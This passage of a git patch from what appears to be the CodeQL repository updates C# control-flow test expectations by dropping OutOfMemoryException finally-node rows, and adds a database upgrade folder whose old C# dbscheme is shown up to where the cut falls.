--git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index 3823d0b2b45..bac3edcdd3f 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -619,13 +619,9 @@ finallyNode | CompileTimeOperators.cs:37:13:37:41 | [finally: goto(End)] ...; | CompileTimeOperators.cs:30:9:38:9 | try {...} ... | | CompileTimeOperators.cs:37:31:37:39 | [finally: goto(End)] "Finally" | CompileTimeOperators.cs:30:9:38:9 | try {...} ... | | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:9:9:16:9 | try {...} ... | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:9:9:16:9 | try {...} ... | | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:9:9:16:9 | try {...} ... | -| Finally.cs:15:13:15:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:9:9:16:9 | try {...} ... | | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | Finally.cs:9:9:16:9 | try {...} ... | -| Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:9:9:16:9 | try {...} ... | | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | Finally.cs:9:9:16:9 | try {...} ... | -| Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:9:9:16:9 | try {...} ... | | Finally.cs:37:13:39:13 | [finally: exception(ArgumentException)] {...} | Finally.cs:32:13:39:13 | try {...} ... | | Finally.cs:38:17:38:44 | [finally: exception(ArgumentException)] throw ...; | Finally.cs:32:13:39:13 | try {...} ... | | Finally.cs:38:23:38:43 | [finally: exception(ArgumentException)] object creation of type Exception | Finally.cs:32:13:39:13 | try {...} ... | @@ -644,19 +640,15 @@ finallyNode | Finally.cs:50:31:50:39 | [finally: return] "Finally" | Finally.cs:21:9:51:9 | try {...} ... | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | Finally.cs:56:9:71:9 | try {...} ... | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:69:9:71:9 | [finally: return] {...} | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:13:70:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:13:70:40 | [finally: exception(IOException)] call to method WriteLine | Finally.cs:56:9:71:9 | try {...} ... | -| Finally.cs:70:13:70:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:13:70:40 | [finally: return] call to method WriteLine | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | Finally.cs:56:9:71:9 | try {...} ... | -| Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:13:70:41 | [finally: return] ...; | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | Finally.cs:56:9:71:9 | try {...} ... | -| Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:70:31:70:39 | [finally: return] "Finally" | Finally.cs:56:9:71:9 | try {...} ... | | Finally.cs:89:13:99:13 | [finally: break] {...} | Finally.cs:79:13:99:13 | try {...} ... | | Finally.cs:89:13:99:13 | [finally: continue] {...} | Finally.cs:79:13:99:13 | try {...} ... | @@ -802,13 +794,9 @@ finallyNode | Finally.cs:117:35:117:35 | [finally: exception(OutOfMemoryException)] 1 | Finally.cs:105:9:118:9 | try {...} ... | | Finally.cs:117:35:117:35 | [finally: return] 1 | Finally.cs:105:9:118:9 | try {...} ... | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:135:9:143:9 | try {...} ... | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:135:9:143:9 | try {...} ... | | Finally.cs:141:13:141:44 | [finally: exception(Exception)] throw ...; | Finally.cs:135:9:143:9 | try {...} ... | -| Finally.cs:141:13:141:44 | [finally: exception(OutOfMemoryException)] throw ...; | Finally.cs:135:9:143:9 | try {...} ... | | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | Finally.cs:135:9:143:9 | try {...} ... | -| Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | Finally.cs:135:9:143:9 | try {...} ... | | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | Finally.cs:135:9:143:9 | try {...} ... | -| Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | Finally.cs:135:9:143:9 | try {...} ... | | Finally.cs:155:9:169:9 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:156:13:168:13 | [finally: exception(ArgumentNullException)] try {...} ... | Finally.cs:149:9:169:9 | try {...} ... | @@ -833,40 +821,28 @@ finallyNode | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | Finally.cs:149:9:169:9 | try {...} ... | -| Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:163:17:163:42 | [finally: exception(ArgumentNullException)] call to method WriteLine | Finally.cs:149:9:169:9 | try {...} ... | @@ -1031,16 +1007,12 @@ finallyNode | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:235:9:259:9 | try {...} ... | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:235:9:259:9 | try {...} ... | -| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:235:9:259:9 | try {...} ... | -| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | -| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | | cflow.cs:274:9:276:9 | [finally: return] {...} | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:41 | [finally: return] call to method WriteLine | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:42 | [finally: return] ...; | cflow.cs:268:9:276:9 | try {...} ... | diff --git a/csharp/ql/test/library-tests/exceptions/Exceptions1.expected b/csharp/ql/test/library-tests/exceptions/Exceptions1.expected index 9c88ed1e60a..f3e813a7395 100644 --- a/csharp/ql/test/library-tests/exceptions/Exceptions1.expected +++ b/csharp/ql/test/library-tests/exceptions/Exceptions1.expected @@ -12,7 +12,6 @@ | exceptions.cs:105:13:105:13 | ; | exceptions.cs:114:13:114:13 | ; | | exceptions.cs:134:13:134:13 | ; | exceptions.cs:143:13:143:13 | ; | | exceptions.cs:163:13:163:13 | ; | exceptions.cs:172:13:172:13 | ; | -| exceptions.cs:192:13:192:13 | ; | exceptions.cs:205:13:205:13 | ; | | exceptions.cs:222:13:222:13 | ; | exceptions.cs:235:13:235:13 | ; | | exceptions.cs:280:13:280:13 | ; | exceptions.cs:297:13:297:13 | ; | | exceptions.cs:309:13:309:13 | ; | exceptions.cs:314:13:314:13 | ; | From 800fd945725c8be22536f923d68fd28dfb7c4c31 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 8 Jan 2021 08:20:49 +0100 Subject: [PATCH 0465/1241] Add DB upgrade folder --- .../old.dbscheme | 1906 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1909 +++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 3817 insertions(+) create mode 100644 csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/old.dbscheme create mode 100644 csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/semmlecode.csharp.dbscheme create mode 100644 csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/upgrade.properties diff --git a/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/old.dbscheme b/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/old.dbscheme new file mode 100644 index 00000000000..094972aab8c --- /dev/null +++ b/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/old.dbscheme @@ -0,0 +1,1906 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = 